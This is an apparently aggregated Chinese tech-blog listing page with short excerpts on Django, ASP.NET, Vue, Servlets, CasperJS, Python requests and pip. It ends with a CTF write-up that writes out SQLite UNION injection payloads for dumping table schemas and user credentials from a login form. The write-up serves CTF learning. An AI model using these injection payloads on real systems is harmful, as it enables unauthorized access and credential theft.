url

Django——正则表达式的举例与基本语法

喜你入骨 提交于 2020-03-10 03:46:43
如果想在URLconf中加入URL和view,只需增加映射URL模式和view功能的Python tuple即可. 这里演示如何添加view中hello功能. from django.conf.urls.defaults import * from mysite.views import hello urlpatterns = patterns('', ('^hello/$', hello), ) Django在检查URL模式前,移除每一个申请的URL开头的斜杠(/)。 这意味着我们为/hello/写URL模式不用包含斜杠(/)。(刚开始,这样可能看起来不直观,但这样的要求简化了许多工作,如URL模式内嵌,我们将在第八章谈及。) 模式包含了一个尖号(^)和一个美元符号($)。这些都是 正则表达式符号 ,并且有特定的含义: 上箭头要求表达式对字符串的头部进行匹配,美元符号则要求表达式对字符串的尾部进行匹配。 最好还是用范例来说明一下这个概念。 如果我们用尾部不是$的模式’^hello/’,那么任何以/hello/开头的URL将会匹配,例如:/hello/foo 和/hello/bar,而不仅仅是/hello/。类似地,如果我们忽略了尖号(^),即’hello/$’,那么任何以hello/结尾的URL将会匹配,例如:/foo/bar/hello/。如果我们简单使用hello/,即没有

Asp.net Web.Config - 配置元素customErrors

北城以北 提交于 2020-03-10 02:01:33
Asp.net配置文件的配置方式,其实在MSDN里面是写得最清楚的了。可惜之前一直未曾了解到MSDN的强大。   先贴个地址: http://msdn.microsoft.com/zh-cn/library/dayb112d(v=vs.80).aspx ,然后逐个分析。我希望自己能够从头到尾认真学完这系列东西。为了不至于让自己太早放弃,我决定从自己用过的配置文件学起,然后逐渐接触那些比较生疏,和少用的。 一、customErrors 元素 属性 说明 defaultRedirect 指定出错时将浏览器定向到的默认 URL。 如果未指定该属性,则显示一般性错误。 可选的属性。 URL 可以是绝对的(如 www.contoso.com/ErrorPage.htm )或相对的。相对 URL(如 /ErrorPage.htm )是相对于为该属性指定 URL 的 Web.config 文件,而不是相对于发生错误的网页。以字符 (~) 开头的 URL(如 ~/ErrorPage.htm )表示指定的 URL 是相对于应用程序的根路径。 mode 指定是启用或禁用自定义错误,还是仅向远程客户端显示自定义错误。 必选的属性。 可选值以及说明: On       指定启用自定义错误。如果未指定 defaultRedirect,用户将看到一般性错误。 Off       指定禁用自定义错误

vue使用下载插件来完成下载文件

岁酱吖の 提交于 2020-03-10 00:15:14
leixign vue下载插件 1.当我使用a标签实现下载的时候,是能解决下载的问题,但是会跳转页面。 2.那么我们使用点击事件后,用window.open或者window.localtion.href,那么也会和使用a标签的效果是一样的,用户体验度,较差。 3.那么我们改成download.js,完成了预期想要的效果,但是遇见一个问题,dowload.js只能自写内容来下载,那么我们如何实现根据url来实现下载的内容那。 我们可以修改 url = !strFileName && !strMimeType && payload; 改为:url = payload;就可以实现效果了。 但是还有一个问题,就是我们直接从download.js中下载的js是()() //注:这种应该是自执行函数 所以在vue调用时会有bug,我们可以把downloadjs中复制download函数中的内容进行修改: 如下所示:(以后需要下载, 直接复制用以下内容放入一个新建js文件 即可使用) //download.js v3.0, by dandavis; 2008-2014. [CCBY2] see http://danml.com/download.html for tests/usage // v1 landed a FF+Chrome compat way of downloading

Servlet中Request与Response应用

泪湿孤枕 提交于 2020-03-09 17:51:56
一、Response 1.Resonse的继承结构: ServletResponse--HttpServletResponse 2.Response代表响应,于是响应消息中的状态码、响应头、实体内容都可以由它进行操作,由此引伸出如下实验: 3.利用Response输出数据到客户端 response.getOutputStream().write("中文".getBytes())输出数据,这是一个字节流,是什么字节输出什么字节,而浏览器默认用平台字节码打开服务器发送的数据,如果服务器端使用了非平台码去输出字符的字节数据就需要明确的指定浏览器编码时所用的码表,以防止乱码问题。response.addHeader("Content-type","text/html;charset=gb2312") response.getWriter().write(“中文”);输出数据,这是一个字符流,response会将此字符进行转码操作后输出到浏览器,这个过程默认使用ISO8859-1码表,而ISO8859-1中没有中文,于是转码过程中用?代替了中文,导致乱码问题。可以指定response在转码过程中使用的目标码表,防止乱码。response.setCharcterEncoding("gb2312"); 其实response还提供了setContentType("text/html;charset

异步网页采集利器CasperJs

和自甴很熟 提交于 2020-03-09 15:48:16
在采集网页中,我们会经常遇到采集一些异步加载页面的网页,我们通常用的httpwebrequest类就采集不到了,这个时候我们通常会采用webbrowser来辅助采集,但是.net下自带的webbrowser用起来非常不爽,在获取页面是否加载完毕的时候比较麻烦一些, DocumentCompleted事件遇到Iframe重复触发,而且获取到的源码通常也不是异步加载完之后的源码,往往我们需要加上定时器去不断的检查,才能获取到我们想要的源码。当然我们可以用一些第三方的webkit内核浏览器,但是这些判断页面是不是真正的加载完成也是比较费劲,而且体积都不小。 今天就介绍一下 CasperJS , CasperJS 是一个开源的导航脚本处理和测试工具,基于 PhantomJS 和 slimerjs (前端自动化测试工具)编写。CasperJS简化了完整的导航场景的过程定义,提供了用于完成常见任务的实用的高级函数、方法和语法。 CasperJS 本身的功能很强大,内置了两种引擎 PhantomJS 和 slimerjs 默认使用 PhantomJS ,具体详细的功能,大家可以参数这些官方网站去了解,或者加入 QQ群 389709524 一块讨论,今天的重点讨论如何快速的采集到异步加载的网页。 假如我们要采集dudu的这篇文章的评论 http://www.cnblogs.com/dudu/p

python爬虫之requests

我只是一个虾纸丫 提交于 2020-03-09 15:13:18
python爬虫学习视频 介绍 文章开头有学习爬虫的视频,此文章主要介绍我在学习使用request时可能发生的部分问题。 1.爬取部分网站时会出现错误 例如出现以下错误 url ="https://www.baidu.com/" header={"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36"} res =requests.get(url,headers=header) requests.exceptions.SSLError: HTTPSConnectionPool(host=‘www.baidu.com’, port=443): Max retries exceeded with url: / (Caused by SSLError(SSLError(“bad handshake: Error([(‘SSL routines’, ‘tls_process_server_certificate’, ‘certificate verify failed’)],)”,),)) 解决方法如下: 1、先检查是否已安装requests的依赖安装包: pip install

pip插件遇到问题(fetch URL https)

末鹿安然 提交于 2020-03-09 14:58:20
错误信息 Could not fetch URL https://pypi.org/simple/pytest-pycodestyle/: There was a problem confirming the ssl certificate: HTTPSConnectionPool(host='pypi.org', port=443): Max retries exceeded with url: /simple/pytest-pycodestyle/ (Caused by SSLError(SSLCertVerificationError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self signed certificate in certificate chain (_ssl.c:1056)'))) - skipping 使用python直接使用pip install xx时,会出现以上错误 问题原因: 碰到这个问题,主要原因是网站pypi.python.org在国内是被墙了的,在安装程序的时候,无法从python官网下载资料导致的。所以可以将下载地址换成其他源地址 解决办法: pip install 插件名 -i (国内镜像地址) http://pypi.douban.com/simple

关于将URL中的特殊字符进行转码和解码

耗尽温柔 提交于 2020-03-09 13:38:10
当前开发中,遇到特殊情况: 使用url进行跨页(跨域)面传值的时候,会出现某些带特殊字符的url,在浏览器上被处理了,例如: 后端传给前端的跳转路径: http://127.0.0.1:8088/harbor/sign-in?userName=admin&userPassword=1Qaz2wsx# 浏览器跳转时浏览器地址栏的url变成: http://127.0.0.1:8088/harbor/sign-in?userName=admin&userPassword=1Qaz2wsx 注意:末尾处的#不见了 还有其他情况,如url中的参数有 "/" "&" "@" "&" 特殊字符时,url都会出现错误... 解决方案: 使用URL的编码和解码 对 特殊字符进行处理 1. java 后端的解决: 方法 解释 URLEncoder.encode(String s, String enc) 编码 s - 要转换的 String。 enc - 所支持的字符编码名称。 URLEncoder.decode(String s, String enc) 解码 s - 要转换的 String。 enc - 所支持的字符编码名称。 // String str = "1Qaz2wsx#"; try { String encode = URLEncoder.encode(str, "utf-8");/

python爬虫调度器

末鹿安然 提交于 2020-03-09 09:58:46
一、调度器在爬虫中的位置以及作用 它是一个主循环,负责循环调取待爬取的url链接还有负责去重,去掉已经爬取的url链接,还有将未爬取的url链接给下载器进行数据的爬取。 二、调度器的主循环如图所示 三、在调度器中需要建立四个原件,分别是url管理器、html下载器、html解析器和数据存储器的实例 四、添加初始url 五、调度器主循环 六、总结 调度器是一个主循环中心,不停的将新的待爬取的url推到html下载器来进行信息的获取,将老的已爬取的url放入url仓库中。 来源: https://www.cnblogs.com/renleiblog/p/12446798.html

xctf 攻防世界 FlatScience wp

丶灬走出姿态 提交于 2020-03-09 09:46:46
一、dirsearch 扫目录 python dirsearch.py -u URL -e * 二、查看正常响应的链接和源码 admin.php 有登录框,注入只有Nono! Stahp?! login.php 也有登录框,逻辑注入就跳转了,说明是存在注入的 输入 admin’ order by 3 #,出现报错,是sqlite数据库: 查看页面源码,提示去 URL?debug 页面: debug页面出现源码,给出了查询语句且没有过滤,密码连接字符串"Salz"后经过sha1加密: 三、注入 burpsuite抓包,查看上传数据的形式,进行注入: 从大佬哪里学到了点sqlite注入: usr=’ union select name,sql from sqlite_master --+&pw=1 响应包返回了set-cookie的数据,URL解码后就是,可以看到表名和列名: CREATE TABLE Users( id int primary key, name varchar(255), password varchar(255), hint varchar(255) ) usr=’ union select id,name from Users --+&pw=1 返回:name=+admin usr=’ union select name,sql from sqlite